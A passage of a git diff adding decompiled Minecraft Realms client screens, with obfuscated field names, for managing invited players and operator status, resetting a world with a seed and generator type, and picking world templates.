field_243141_u = new TranslationTextComponent("mco.configure.world.invited"); + private ITextComponent field_224301_b; + private final RealmsConfigureWorldScreen field_224302_c; + private final RealmsServer field_224303_d; + private RealmsPlayerScreen.InvitedList field_224304_e; + private int field_224305_f; + private int field_224306_g; + private int field_224307_h; + private Button field_224308_i; + private Button field_224309_j; + private int field_224310_k = -1; + private String field_224311_l; + private int field_224312_m = -1; + private boolean field_224313_n; + private RealmsLabel field_224314_o; + private RealmsPlayerScreen.GuestAction field_243137_J = RealmsPlayerScreen.GuestAction.NONE; + + public RealmsPlayerScreen(RealmsConfigureWorldScreen p_i51760_1_, RealmsServer p_i51760_2_) + { + this.field_224302_c = p_i51760_1_; + this.field_224303_d = p_i51760_2_; + } + + public void init() + { + this.field_224305_f = this.width / 2 - 160; + this.field_224306_g = 150; + this.field_224307_h = this.width / 2 + 12; + this.minecraft.keyboardListener.enableRepeatEvents(true); + this.field_224304_e = new RealmsPlayerScreen.InvitedList(); + this.field_224304_e.setLeftPos(this.field_224305_f); + this.addListener(this.field_224304_e); + + for (PlayerInfo playerinfo : this.field_224303_d.field_230589_h_) + { + this.field_224304_e.func_223870_a(playerinfo); + } + + this.addButton(new Button(this.field_224307_h, func_239562_k_(1), this.field_224306_g + 10, 20, new TranslationTextComponent("mco.configure.world.buttons.invite"), (p_237924_1_) -> + { + this.minecraft.displayGuiScreen(new RealmsInviteScreen(this.field_224302_c, this, this.field_224303_d)); + })); + this.field_224308_i = this.addButton(new Button(this.field_224307_h, func_239562_k_(7), this.field_224306_g + 10, 20, new TranslationTextComponent("mco.configure.world.invites.remove.tooltip"), (p_237918_1_) -> + { + this.func_224274_d(this.field_224312_m); + })); + this.field_224309_j = this.addButton(new Button(this.field_224307_h, func_239562_k_(9), this.field_224306_g + 10, 20, new TranslationTextComponent("mco.configure.world.invites.ops.tooltip"), (p_237912_1_) -> + { + if (this.field_224303_d.field_230589_h_.get(this.field_224312_m).func_230763_c_()) + { + this.func_224279_c(this.field_224312_m); + } + else { + this.func_224289_b(this.field_224312_m); + } + })); + this.addButton(new Button(this.field_224307_h + this.field_224306_g / 2 + 2, func_239562_k_(12), this.field_224306_g / 2 + 10 - 2, 20, DialogTexts.GUI_BACK, (p_237907_1_) -> + { + this.func_224298_b(); + })); + this.field_224314_o = this.addListener(new RealmsLabel(new TranslationTextComponent("mco.configure.world.players.title"), this.width / 2, 17, 16777215)); + this.func_231411_u_(); + this.func_224280_a(); + } + + private void func_224280_a() + { + this.field_224308_i.visible = this.func_224296_a(this.field_224312_m); + this.field_224309_j.visible = this.func_224296_a(this.field_224312_m); + } + + private boolean func_224296_a(int p_224296_1_) + { + return p_224296_1_ != -1; + } + + public void onClose() + { + this.minecraft.keyboardListener.enableRepeatEvents(false); + } + + public boolean keyPressed(int keyCode, int scanCode, int modifiers) + { + if (keyCode == 256) + { + this.func_224298_b(); + return true; + } + else + { + return super.keyPressed(keyCode, scanCode, modifiers); + } + } + + private void func_224298_b() + { + if (this.field_224313_n) + { + this.minecraft.displayGuiScreen(this.field_224302_c.func_224407_b()); + } + else + { + this.minecraft.displayGuiScreen(this.field_224302_c); + } + } + + private void func_224289_b(int p_224289_1_) + { + this.func_224280_a(); + RealmsClient realmsclient = RealmsClient.func_224911_a(); + String s = this.field_224303_d.field_230589_h_.get(p_224289_1_).func_230760_b_(); + + try + { + this.func_224283_a(realmsclient.func_224906_e(this.field_224303_d.field_230582_a_, s)); + } + catch (RealmsServiceException realmsserviceexception) + { + field_224300_a.error("Couldn't op the user"); + } + } + + private void func_224279_c(int p_224279_1_) + { + this.func_224280_a(); + RealmsClient realmsclient = RealmsClient.func_224911_a(); + String s = this.field_224303_d.field_230589_h_.get(p_224279_1_).func_230760_b_(); + + try + { + this.func_224283_a(realmsclient.func_224929_f(this.field_224303_d.field_230582_a_, s)); + } + catch (RealmsServiceException realmsserviceexception) + { + field_224300_a.error("Couldn't deop the user"); + } + } + + private void func_224283_a(Ops p_224283_1_) + { + for (PlayerInfo playerinfo : this.field_224303_d.field_230589_h_) + { + playerinfo.func_230759_a_(p_224283_1_.field_230562_a_.contains(playerinfo.func_230757_a_())); + } + } + + private void func_224274_d(int p_224274_1_) + { + this.func_224280_a(); + + if (p_224274_1_ >= 0 && p_224274_1_ < this.field_224303_d.field_230589_h_.size()) + { + PlayerInfo playerinfo = this.field_224303_d.field_230589_h_.get(p_224274_1_); + this.field_224311_l = playerinfo.func_230760_b_(); + this.field_224310_k = p_224274_1_; + RealmsConfirmScreen realmsconfirmscreen = new RealmsConfirmScreen((p_237919_1_) -> + { + if (p_237919_1_) + { + RealmsClient realmsclient = RealmsClient.func_224911_a(); + + try + { + realmsclient.func_224908_a(this.field_224303_d.field_230582_a_, this.field_224311_l); + } + catch (RealmsServiceException realmsserviceexception) + { + field_224300_a.error("Couldn't uninvite user"); + } + + this.func_224292_e(this.field_224310_k); + this.field_224312_m = -1; + this.func_224280_a(); + } + + this.field_224313_n = true; + this.minecraft.displayGuiScreen(this); + }, new StringTextComponent("Question"), (new TranslationTextComponent("mco.configure.world.uninvite.question")).appendString(" '").appendString(playerinfo.func_230757_a_()).appendString("' ?")); + this.minecraft.displayGuiScreen(realmsconfirmscreen); + } + } + + private void func_224292_e(int p_224292_1_) + { + this.field_224303_d.field_230589_h_.remove(p_224292_1_); + } + + public void render(MatrixStack matrixStack, int mouseX, int mouseY, float partialTicks) + { + this.field_224301_b = null; + this.field_243137_J = RealmsPlayerScreen.GuestAction.NONE; + this.renderBackground(matrixStack); + + if (this.field_224304_e != null) + { + this.field_224304_e.render(matrixStack, mouseX, mouseY, partialTicks); + } + + int i = func_239562_k_(12) + 20; + Tessellator tessellator = Tessellator.getInstance(); + BufferBuilder bufferbuilder = tessellator.getBuffer(); + this.minecraft.getTextureManager().bindTexture(field_237898_q_); + RenderSystem.color4f(1.0F, 1.0F, 1.0F, 1.0F); + float f = 32.0F; + bufferbuilder.begin(7, DefaultVertexFormats.POSITION_TEX_COLOR); + bufferbuilder.pos(0.0D, (double)this.height, 0.0D).tex(0.0F, (float)(this.height - i) / 32.0F + 0.0F).color(64, 64, 64, 255).endVertex(); + bufferbuilder.pos((double)this.width, (double)this.height, 0.0D).tex((float)this.width / 32.0F, (float)(this.height - i) / 32.0F + 0.0F).color(64, 64, 64, 255).endVertex(); + bufferbuilder.pos((double)this.width, (double)i, 0.0D).tex((float)this.width / 32.0F, 0.0F).color(64, 64, 64, 255).endVertex(); + bufferbuilder.pos(0.0D, (double)i, 0.0D).tex(0.0F, 0.0F).color(64, 64, 64, 255).endVertex(); + tessellator.draw(); + this.field_224314_o.func_239560_a_(this, matrixStack); + + if (this.field_224303_d != null && this.field_224303_d.field_230589_h_ != null) + { + this.font.func_243248_b(matrixStack, (new StringTextComponent("")).append(field_243141_u).appendString(" (").appendString(Integer.toString(this.field_224303_d.field_230589_h_.size())).appendString(")"), (float)this.field_224305_f, (float)func_239562_k_(0), 10526880); + } + else + { + this.font.func_243248_b(matrixStack, field_243141_u, (float)this.field_224305_f, (float)func_239562_k_(0), 10526880); + } + + super.render(matrixStack, mouseX, mouseY, partialTicks); + + if (this.field_224303_d != null) + { + this.func_237903_a_(matrixStack, this.field_224301_b, mouseX, mouseY); + } + } + + protected void func_237903_a_(MatrixStack p_237903_1_, @Nullable ITextComponent p_237903_2_, int p_237903_3_, int p_237903_4_) + { + if (p_237903_2_ != null) + { + int i = p_237903_3_ + 12; + int j = p_237903_4_ - 12; + int k = this.font.getStringPropertyWidth(p_237903_2_); + this.fillGradient(p_237903_1_, i - 3, j - 3, i + k + 3, j + 8 + 3, -1073741824, -1073741824); + this.font.func_243246_a(p_237903_1_, p_237903_2_, (float)i, (float)j, 16777215); + } + } + + private void func_237914_c_(MatrixStack p_237914_1_, int p_237914_2_, int p_237914_3_, int p_237914_4_, int p_237914_5_) + { + boolean flag = p_237914_4_ >= p_237914_2_ && p_237914_4_ <= p_237914_2_ + 9 && p_237914_5_ >= p_237914_3_ && p_237914_5_ <= p_237914_3_ + 9 && p_237914_5_ < func_239562_k_(12) + 20 && p_237914_5_ > func_239562_k_(1); + this.minecraft.getTextureManager().bindTexture(field_237897_p_); + RenderSystem.color4f(1.0F, 1.0F, 1.0F, 1.0F); + float f = flag ? 7.0F : 0.0F; + AbstractGui.blit(p_237914_1_, p_237914_2_, p_237914_3_, 0.0F, f, 8, 7, 8, 14); + + if (flag) + { + this.field_224301_b = field_243140_t; + this.field_243137_J = RealmsPlayerScreen.GuestAction.REMOVE; + } + } + + private void func_237921_d_(MatrixStack p_237921_1_, int p_237921_2_, int p_237921_3_, int p_237921_4_, int p_237921_5_) + { + boolean flag = p_237921_4_ >= p_237921_2_ && p_237921_4_ <= p_237921_2_ + 9 && p_237921_5_ >= p_237921_3_ && p_237921_5_ <= p_237921_3_ + 9 && p_237921_5_ < func_239562_k_(12) + 20 && p_237921_5_ > func_239562_k_(1); + this.minecraft.getTextureManager().bindTexture(field_237895_b_); + RenderSystem.color4f(1.0F, 1.0F, 1.0F, 1.0F); + float f = flag ? 8.0F : 0.0F; + AbstractGui.blit(p_237921_1_, p_237921_2_, p_237921_3_, 0.0F, f, 8, 8, 8, 16); + + if (flag) + { + this.field_224301_b = field_243139_s; + this.field_243137_J = RealmsPlayerScreen.GuestAction.TOGGLE_OP; + } + } + + private void func_237925_e_(MatrixStack p_237925_1_, int p_237925_2_, int p_237925_3_, int p_237925_4_, int p_237925_5_) + { + boolean flag = p_237925_4_ >= p_237925_2_ && p_237925_4_ <= p_237925_2_ + 9 && p_237925_5_ >= p_237925_3_ && p_237925_5_ <= p_237925_3_ + 9 && p_237925_5_ < func_239562_k_(12) + 20 && p_237925_5_ > func_239562_k_(1); + this.minecraft.getTextureManager().bindTexture(field_237896_c_); + RenderSystem.color4f(1.0F, 1.0F, 1.0F, 1.0F); + float f = flag ? 8.0F : 0.0F; + AbstractGui.blit(p_237925_1_, p_237925_2_, p_237925_3_, 0.0F, f, 8, 8, 8, 16); + + if (flag) + { + this.field_224301_b = field_243138_r; + this.field_243137_J = RealmsPlayerScreen.GuestAction.TOGGLE_OP; + } + } + + static enum GuestAction + { + TOGGLE_OP, + REMOVE, + NONE; + } + + class InvitedEntry extends ExtendedList.AbstractListEntry + { + private final PlayerInfo field_237930_b_; + + public InvitedEntry(PlayerInfo p_i51614_2_) + { + this.field_237930_b_ = p_i51614_2_; + } + + public void render(MatrixStack p_230432_1_, int p_230432_2_, int p_230432_3_, int p_230432_4_, int p_230432_5_, int p_230432_6_, int p_230432_7_, int p_230432_8_, boolean p_230432_9_, float p_230432_10_) + { + this.func_237932_a_(p_230432_1_, this.field_237930_b_, p_230432_4_, p_230432_3_, p_230432_7_, p_230432_8_); + } + + private void func_237932_a_(MatrixStack p_237932_1_, PlayerInfo p_237932_2_, int p_237932_3_, int p_237932_4_, int p_237932_5_, int p_237932_6_) + { + int i; + + if (!p_237932_2_.func_230765_d_()) + { + i = 10526880; + } + else if (p_237932_2_.func_230766_e_()) + { + i = 8388479; + } + else + { + i = 16777215; + } + + RealmsPlayerScreen.this.font.drawString(p_237932_1_, p_237932_2_.func_230757_a_(), (float)(RealmsPlayerScreen.this.field_224305_f + 3 + 12), (float)(p_237932_4_ + 1), i); + + if (p_237932_2_.func_230763_c_()) + { + RealmsPlayerScreen.this.func_237921_d_(p_237932_1_, RealmsPlayerScreen.this.field_224305_f + RealmsPlayerScreen.this.field_224306_g - 10, p_237932_4_ + 1, p_237932_5_, p_237932_6_); + } + else + { + RealmsPlayerScreen.this.func_237925_e_(p_237932_1_, RealmsPlayerScreen.this.field_224305_f + RealmsPlayerScreen.this.field_224306_g - 10, p_237932_4_ + 1, p_237932_5_, p_237932_6_); + } + + RealmsPlayerScreen.this.func_237914_c_(p_237932_1_, RealmsPlayerScreen.this.field_224305_f + RealmsPlayerScreen.this.field_224306_g - 22, p_237932_4_ + 2, p_237932_5_, p_237932_6_); + RealmsTextureManager.func_225205_a(p_237932_2_.func_230760_b_(), () -> + { + RenderSystem.color4f(1.0F, 1.0F, 1.0F, 1.0F); + AbstractGui.blit(p_237932_1_, RealmsPlayerScreen.this.field_224305_f + 2 + 2, p_237932_4_ + 1, 8, 8, 8.0F, 8.0F, 8, 8, 64, 64); + AbstractGui.blit(p_237932_1_, RealmsPlayerScreen.this.field_224305_f + 2 + 2, p_237932_4_ + 1, 8, 8, 40.0F, 8.0F, 8, 8, 64, 64); + }); + } + } + + class InvitedList extends RealmsObjectSelectionList + { + public InvitedList() + { + super(RealmsPlayerScreen.this.field_224306_g + 10, RealmsPlayerScreen.func_239562_k_(12) + 20, RealmsPlayerScreen.func_239562_k_(1), RealmsPlayerScreen.func_239562_k_(12) + 20, 13); + } + + public void func_223870_a(PlayerInfo p_223870_1_) + { + this.addEntry(RealmsPlayerScreen.this.new InvitedEntry(p_223870_1_)); + } + + public int getRowWidth() + { + return (int)((double)this.width * 1.0D); + } + + public boolean isFocused() + { + return RealmsPlayerScreen.this.getListener() == this; + } + + public boolean mouseClicked(double mouseX, double mouseY, int button) + { + if (button == 0 && mouseX < (double)this.getScrollbarPosition() && mouseY >= (double)this.y0 && mouseY <= (double)this.y1) + { + int i = RealmsPlayerScreen.this.field_224305_f; + int j = RealmsPlayerScreen.this.field_224305_f + RealmsPlayerScreen.this.field_224306_g; + int k = (int)Math.floor(mouseY - (double)this.y0) - this.headerHeight + (int)this.getScrollAmount() - 4; + int l = k / this.itemHeight; + + if (mouseX >= (double)i && mouseX <= (double)j && l >= 0 && k >= 0 && l < this.getItemCount()) + { + this.func_231400_a_(l); + this.func_231401_a_(k, l, mouseX, mouseY, this.width); + } + + return true; + } + else + { + return super.mouseClicked(mouseX, mouseY, button); + } + } + + public void func_231401_a_(int p_231401_1_, int p_231401_2_, double p_231401_3_, double p_231401_5_, int p_231401_7_) + { + if (p_231401_2_ >= 0 && p_231401_2_ <= RealmsPlayerScreen.this.field_224303_d.field_230589_h_.size() && RealmsPlayerScreen.this.field_243137_J != RealmsPlayerScreen.GuestAction.NONE) + { + if (RealmsPlayerScreen.this.field_243137_J == RealmsPlayerScreen.GuestAction.TOGGLE_OP) + { + if (RealmsPlayerScreen.this.field_224303_d.field_230589_h_.get(p_231401_2_).func_230763_c_()) + { + RealmsPlayerScreen.this.func_224279_c(p_231401_2_); + } + else + { + RealmsPlayerScreen.this.func_224289_b(p_231401_2_); + } + } + else if (RealmsPlayerScreen.this.field_243137_J == RealmsPlayerScreen.GuestAction.REMOVE) + { + RealmsPlayerScreen.this.func_224274_d(p_231401_2_); + } + } + } + + public void func_231400_a_(int p_231400_1_) + { + this.func_239561_k_(p_231400_1_); + + if (p_231400_1_ != -1) + { + RealmsNarratorHelper.func_239550_a_(I18n.format("narrator.select", RealmsPlayerScreen.this.field_224303_d.field_230589_h_.get(p_231400_1_).func_230757_a_())); + } + + this.func_223869_a(p_231400_1_); + } + + public void func_223869_a(int p_223869_1_) + { + RealmsPlayerScreen.this.field_224312_m = p_223869_1_; + RealmsPlayerScreen.this.func_224280_a(); + } + + public void setSelected(@Nullable RealmsPlayerScreen.InvitedEntry entry) + { + super.setSelected(entry); + RealmsPlayerScreen.this.field_224312_m = this.getEventListeners().indexOf(entry); + RealmsPlayerScreen.this.func_224280_a(); + } + + public void renderBackground(MatrixStack p_230433_1_) + { + RealmsPlayerScreen.this.renderBackground(p_230433_1_); + } + + public int getScrollbarPosition() + { + return RealmsPlayerScreen.this.field_224305_f + this.width - 5; + } + + public int getMaxPosition() + { + return this.getItemCount() * 13; + } + } +} diff --git a/src/com/mojang/realmsclient/gui/screens/RealmsResetNormalWorldScreen.java b/src/com/mojang/realmsclient/gui/screens/RealmsResetNormalWorldScreen.java new file mode 100644 index 00000000..722e7768 --- /dev/null +++ b/src/com/mojang/realmsclient/gui/screens/RealmsResetNormalWorldScreen.java @@ -0,0 +1,101 @@ +package com.mojang.realmsclient.gui.screens; + +import com.mojang.blaze3d.matrix.MatrixStack; +import net.minecraft.client.gui.DialogTexts; +import net.minecraft.client.gui.widget.TextFieldWidget; +import net.minecraft.client.gui.widget.button.Button; +import net.minecraft.realms.RealmsLabel; +import net.minecraft.realms.RealmsScreen; +import net.minecraft.util.text.ITextComponent; +import net.minecraft.util.text.TranslationTextComponent; + +public class RealmsResetNormalWorldScreen extends RealmsScreen +{ + private static final ITextComponent field_243144_a = new TranslationTextComponent("mco.reset.world.seed"); + private static final ITextComponent[] field_243145_b = new ITextComponent[] {new TranslationTextComponent("generator.default"), new TranslationTextComponent("generator.flat"), new TranslationTextComponent("generator.large_biomes"), new TranslationTextComponent("generator.amplified")}; + private final RealmsResetWorldScreen field_224354_b; + private RealmsLabel field_224355_c; + private TextFieldWidget field_224356_d; + private Boolean field_224357_e = true; + private Integer field_224358_f = 0; + private ITextComponent field_224365_m; + + public RealmsResetNormalWorldScreen(RealmsResetWorldScreen p_i232214_1_, ITextComponent p_i232214_2_) + { + this.field_224354_b = p_i232214_1_; + this.field_224365_m = p_i232214_2_; + } + + public void tick() + { + this.field_224356_d.tick(); + super.tick(); + } + + public void init() + { + this.minecraft.keyboardListener.enableRepeatEvents(true); + this.field_224355_c = new RealmsLabel(new TranslationTextComponent("mco.reset.world.generate"), this.width / 2, 17, 16777215); + this.addListener(this.field_224355_c); + this.field_224356_d = new TextFieldWidget(this.minecraft.fontRenderer, this.width / 2 - 100, func_239562_k_(2), 200, 20, (TextFieldWidget)null, new TranslationTextComponent("mco.reset.world.seed")); + this.field_224356_d.setMaxStringLength(32); + this.addListener(this.field_224356_d); + this.setFocusedDefault(this.field_224356_d); + this.addButton(new Button(this.width / 2 - 102, func_239562_k_(4), 205, 20, this.func_237937_g_(), (p_237936_1_) -> + { + this.field_224358_f = (this.field_224358_f + 1) % field_243145_b.length; + p_237936_1_.setMessage(this.func_237937_g_()); + })); + this.addButton(new Button(this.width / 2 - 102, func_239562_k_(6) - 2, 205, 20, this.func_237938_j_(), (p_237935_1_) -> + { + this.field_224357_e = !this.field_224357_e; + p_237935_1_.setMessage(this.func_237938_j_()); + })); + this.addButton(new Button(this.width / 2 - 102, func_239562_k_(12), 97, 20, this.field_224365_m, (p_237934_1_) -> + { + this.field_224354_b.func_224438_a(new RealmsResetWorldScreen.ResetWorldInfo(this.field_224356_d.getText(), this.field_224358_f, this.field_224357_e)); + })); + this.addButton(new Button(this.width / 2 + 8, func_239562_k_(12), 97, 20, DialogTexts.GUI_BACK, (p_237933_1_) -> + { + this.minecraft.displayGuiScreen(this.field_224354_b); + })); + this.func_231411_u_(); + } + + public void onClose() + { + this.minecraft.keyboardListener.enableRepeatEvents(false); + } + + public boolean keyPressed(int keyCode, int scanCode, int modifiers) + { + if (keyCode == 256) + { + this.minecraft.displayGuiScreen(this.field_224354_b); + return true; + } + else + { + return super.keyPressed(keyCode, scanCode, modifiers); + } + } + + public void render(MatrixStack matrixStack, int mouseX, int mouseY, float partialTicks) + { + this.renderBackground(matrixStack); + this.field_224355_c.func_239560_a_(this, matrixStack); + this.font.func_243248_b(matrixStack, field_243144_a, (float)(this.width / 2 - 100), (float)func_239562_k_(1), 10526880); + this.field_224356_d.render(matrixStack, mouseX, mouseY, partialTicks); + super.render(matrixStack, mouseX, mouseY, partialTicks); + } + + private ITextComponent func_237937_g_() + { + return (new TranslationTextComponent("selectWorld.mapType")).appendString(" ").append(field_243145_b[this.field_224358_f]); + } + + private ITextComponent func_237938_j_() + { + return DialogTexts.getComposedOptionMessage(new TranslationTextComponent("selectWorld.mapFeatures"), this.field_224357_e); + } +} diff --git a/src/com/mojang/realmsclient/gui/screens/RealmsResetWorldScreen.java b/src/com/mojang/realmsclient/gui/screens/RealmsResetWorldScreen.java new file mode 100644 index 00000000..7c96ec71 --- /dev/null +++ b/src/com/mojang/realmsclient/gui/screens/RealmsResetWorldScreen.java @@ -0,0 +1,347 @@ +package com.mojang.realmsclient.gui.screens; + +import com.mojang.blaze3d.matrix.MatrixStack; +import com.mojang.blaze3d.systems.RenderSystem; +import com.mojang.realmsclient.client.RealmsClient; +import com.mojang.realmsclient.dto.RealmsServer; +import com.mojang.realmsclient.dto.WorldTemplate; +import com.mojang.realmsclient.dto.WorldTemplatePaginatedList; +import com.mojang.realmsclient.exception.RealmsServiceException; +import javax.annotation.Nullable; +import net.minecraft.client.gui.AbstractGui; +import net.minecraft.client.gui.DialogTexts; +import net.minecraft.client.gui.screen.Screen; +import net.minecraft.client.gui.widget.button.Button; +import net.minecraft.realms.RealmsLabel; +import net.minecraft.realms.action.ResetWorldRealmsAction; +import net.minecraft.realms.action.SwitchMinigameRealmsAction; +import net.minecraft.util.ResourceLocation; +import net.minecraft.util.text.ITextComponent; +import net.minecraft.util.text.TranslationTextComponent; +import org.apache.logging.log4j.LogManager; +import org.apache.logging.log4j.Logger; + +public class RealmsResetWorldScreen extends NotifableRealmsScreen +{ + private static final Logger field_224456_b = LogManager.getLogger(); + private final Screen field_224457_c; + private final RealmsServer field_224458_d; + private RealmsLabel field_224460_f; + private RealmsLabel field_224461_g; + private ITextComponent field_224462_h = new TranslationTextComponent("mco.reset.world.title"); + private ITextComponent field_224463_i = new TranslationTextComponent("mco.reset.world.warning"); + private ITextComponent field_224464_j = DialogTexts.GUI_CANCEL; + private int field_224465_k = 16711680; + private static final ResourceLocation field_237944_w_ = new ResourceLocation("realms", "textures/gui/realms/slot_frame.png"); + private static final ResourceLocation field_237945_x_ = new ResourceLocation("realms", "textures/gui/realms/upload.png"); + private static final ResourceLocation field_237946_y_ = new ResourceLocation("realms", "textures/gui/realms/adventure.png"); + private static final ResourceLocation field_237947_z_ = new ResourceLocation("realms", "textures/gui/realms/survival_spawn.png"); + private static final ResourceLocation field_237939_A_ = new ResourceLocation("realms", "textures/gui/realms/new_world.png"); + private static final ResourceLocation field_237940_B_ = new ResourceLocation("realms", "textures/gui/realms/experience.png"); + private static final ResourceLocation field_237941_C_ = new ResourceLocation("realms", "textures/gui/realms/inspiration.png"); + private WorldTemplatePaginatedList field_224468_n; + private WorldTemplatePaginatedList field_224469_o; + private WorldTemplatePaginatedList field_224470_p; + private WorldTemplatePaginatedList field_224471_q; + public int field_224455_a = -1; + private RealmsResetWorldScreen.ResetType field_224472_r = RealmsResetWorldScreen.ResetType.NONE; + private RealmsResetWorldScreen.ResetWorldInfo field_224473_s; + private WorldTemplate field_224474_t; + @Nullable + private ITextComponent field_224475_u; + private final Runnable field_237942_L_; + private final Runnable field_237943_M_; + + public RealmsResetWorldScreen(Screen p_i232215_1_, RealmsServer p_i232215_2_, Runnable p_i232215_3_, Runnable p_i232215_4_) + { + this.field_224457_c = p_i232215_1_; + this.field_224458_d = p_i232215_2_; + this.field_237942_L_ = p_i232215_3_; + this.field_237943_M_ = p_i232215_4_; + } + + public RealmsResetWorldScreen(Screen p_i232216_1_, RealmsServer p_i232216_2_, ITextComponent p_i232216_3_, ITextComponent p_i232216_4_, int p_i232216_5_, ITextComponent p_i232216_6_, Runnable p_i232216_7_, Runnable p_i232216_8_) + { + this(p_i232216_1_, p_i232216_2_, p_i232216_7_, p_i232216_8_); + this.field_224462_h = p_i232216_3_; + this.field_224463_i = p_i232216_4_; + this.field_224465_k = p_i232216_5_; + this.field_224464_j = p_i232216_6_; + } + + public void func_224445_b(int p_224445_1_) + { + this.field_224455_a = p_224445_1_; + } + + public void func_224432_a(ITextComponent p_224432_1_) + { + this.field_224475_u = p_224432_1_; + } + + public void init() + { + this.addButton(new Button(this.width / 2 - 40, func_239562_k_(14) - 10, 80, 20, this.field_224464_j, (p_237959_1_) -> + { + this.minecraft.displayGuiScreen(this.field_224457_c); + })); + (new Thread("Realms-reset-world-fetcher") + { + public void run() + { + RealmsClient realmsclient = RealmsClient.func_224911_a(); + + try + { + WorldTemplatePaginatedList worldtemplatepaginatedlist = realmsclient.func_224930_a(1, 10, RealmsServer.ServerType.NORMAL); + WorldTemplatePaginatedList worldtemplatepaginatedlist1 = realmsclient.func_224930_a(1, 10, RealmsServer.ServerType.ADVENTUREMAP); + WorldTemplatePaginatedList worldtemplatepaginatedlist2 = realmsclient.func_224930_a(1, 10, RealmsServer.ServerType.EXPERIENCE); + WorldTemplatePaginatedList worldtemplatepaginatedlist3 = realmsclient.func_224930_a(1, 10, RealmsServer.ServerType.INSPIRATION); + RealmsResetWorldScreen.this.minecraft.execute(() -> + { + RealmsResetWorldScreen.this.field_224468_n = worldtemplatepaginatedlist; + RealmsResetWorldScreen.this.field_224469_o = worldtemplatepaginatedlist1; + RealmsResetWorldScreen.this.field_224470_p = worldtemplatepaginatedlist2; + RealmsResetWorldScreen.this.field_224471_q = worldtemplatepaginatedlist3; + }); + } + catch (RealmsServiceException realmsserviceexception) + { + RealmsResetWorldScreen.field_224456_b.error("Couldn't fetch templates in reset world", (Throwable)realmsserviceexception); + } + } + }).start(); + this.field_224460_f = this.addListener(new RealmsLabel(this.field_224462_h, this.width / 2, 7, 16777215)); + this.field_224461_g = this.addListener(new RealmsLabel(this.field_224463_i, this.width / 2, 22, this.field_224465_k)); + this.addButton(new RealmsResetWorldScreen.TexturedButton(this.func_224434_c(1), func_239562_k_(0) + 10, new TranslationTextComponent("mco.reset.world.generate"), field_237939_A_, (p_237958_1_) -> + { + this.minecraft.displayGuiScreen(new RealmsResetNormalWorldScreen(this, this.field_224462_h)); + })); + this.addButton(new RealmsResetWorldScreen.TexturedButton(this.func_224434_c(2), func_239562_k_(0) + 10, new TranslationTextComponent("mco.reset.world.upload"), field_237945_x_, (p_237957_1_) -> + { + Screen screen = new RealmsSelectFileToUploadScreen(this.field_224458_d.field_230582_a_, this.field_224455_a != -1 ? this.field_224455_a : this.field_224458_d.field_230595_n_, this, this.field_237943_M_); + this.minecraft.displayGuiScreen(screen); + })); + this.addButton(new RealmsResetWorldScreen.TexturedButton(this.func_224434_c(3), func_239562_k_(0) + 10, new TranslationTextComponent("mco.reset.world.template"), field_237947_z_, (p_237956_1_) -> + { + RealmsSelectWorldTemplateScreen realmsselectworldtemplatescreen = new RealmsSelectWorldTemplateScreen(this, RealmsServer.ServerType.NORMAL, this.field_224468_n); + realmsselectworldtemplatescreen.func_238001_a_(new TranslationTextComponent("mco.reset.world.template")); + this.minecraft.displayGuiScreen(realmsselectworldtemplatescreen); + })); + this.addButton(new RealmsResetWorldScreen.TexturedButton(this.func_224434_c(1), func_239562_k_(6) + 20, new TranslationTextComponent("mco.reset.world.adventure"), field_237946_y_, (p_237955_1_) -> + { + RealmsSelectWorldTemplateScreen realmsselectworldtemplatescreen = new RealmsSelectWorldTemplateScreen(this, RealmsServer.ServerType.ADVENTUREMAP, this.field_224469_o); + realmsselectworldtemplatescreen.func_238001_a_(new TranslationTextComponent("mco.reset.world.adventure")); + this.minecraft.displayGuiScreen(realmsselectworldtemplatescreen); + })); + this.addButton(new RealmsResetWorldScreen.TexturedButton(this.func_224434_c(2), func_239562_k_(6) + 20, new TranslationTextComponent("mco.reset.world.experience"), field_237940_B_, (p_237954_1_) -> + { + RealmsSelectWorldTemplateScreen realmsselectworldtemplatescreen = new RealmsSelectWorldTemplateScreen(this, RealmsServer.ServerType.EXPERIENCE, this.field_224470_p); + realmsselectworldtemplatescreen.func_238001_a_(new TranslationTextComponent("mco.reset.world.experience")); + this.minecraft.displayGuiScreen(realmsselectworldtemplatescreen); + })); + this.addButton(new RealmsResetWorldScreen.TexturedButton(this.func_224434_c(3), func_239562_k_(6) + 20, new TranslationTextComponent("mco.reset.world.inspiration"), field_237941_C_, (p_237951_1_) -> + { + RealmsSelectWorldTemplateScreen realmsselectworldtemplatescreen = new RealmsSelectWorldTemplateScreen(this, RealmsServer.ServerType.INSPIRATION, this.field_224471_q); + realmsselectworldtemplatescreen.func_238001_a_(new TranslationTextComponent("mco.reset.world.inspiration")); + this.minecraft.displayGuiScreen(realmsselectworldtemplatescreen); + })); + this.func_231411_u_(); + } + + public void onClose() + { + this.minecraft.keyboardListener.enableRepeatEvents(false); + } + + public boolean keyPressed(int keyCode, int scanCode, int modifiers) + { + if (keyCode == 256) + { + this.minecraft.displayGuiScreen(this.field_224457_c); + return true; + } + else + { + return super.keyPressed(keyCode, scanCode, modifiers); + } + } + + private int func_224434_c(int p_224434_1_) + { + return this.width / 2 - 130 + (p_224434_1_ - 1) * 100; + } + + public void render(MatrixStack matrixStack, int mouseX, int mouseY, float partialTicks) + { + this.renderBackground(matrixStack); + this.field_224460_f.func_239560_a_(this, matrixStack); + this.field_224461_g.func_239560_a_(this, matrixStack); + super.render(matrixStack, mouseX, mouseY, partialTicks); + } + + private void func_237948_a_(MatrixStack p_237948_1_, int p_237948_2_, int p_237948_3_, ITextComponent p_237948_4_, ResourceLocation p_237948_5_, boolean p_237948_6_, boolean p_237948_7_) + { + this.minecraft.getTextureManager().bindTexture(p_237948_5_); + + if (p_237948_6_) + { + RenderSystem.color4f(0.56F, 0.56F, 0.56F, 1.0F); + } + else + { + RenderSystem.color4f(1.0F, 1.0F, 1.0F, 1.0F); + } + + AbstractGui.blit(p_237948_1_, p_237948_2_ + 2, p_237948_3_ + 14, 0.0F, 0.0F, 56, 56, 56, 56); + this.minecraft.getTextureManager().bindTexture(field_237944_w_); + + if (p_237948_6_) + { + RenderSystem.color4f(0.56F, 0.56F, 0.56F, 1.0F); + } + else + { + RenderSystem.color4f(1.0F, 1.0F, 1.0F, 1.0F); + } + + AbstractGui.blit(p_237948_1_, p_237948_2_, p_237948_3_ + 12, 0.0F, 0.0F, 60, 60, 60, 60); + int i = p_237948_6_ ? 10526880 : 16777215; + drawCenteredString(p_237948_1_, this.font, p_237948_4_, p_237948_2_ + 30, p_237948_3_, i); + } + + protected void func_223627_a_(@Nullable WorldTemplate p_223627_1_) + { + if (p_223627_1_ != null) + { + if (this.field_224455_a == -1) 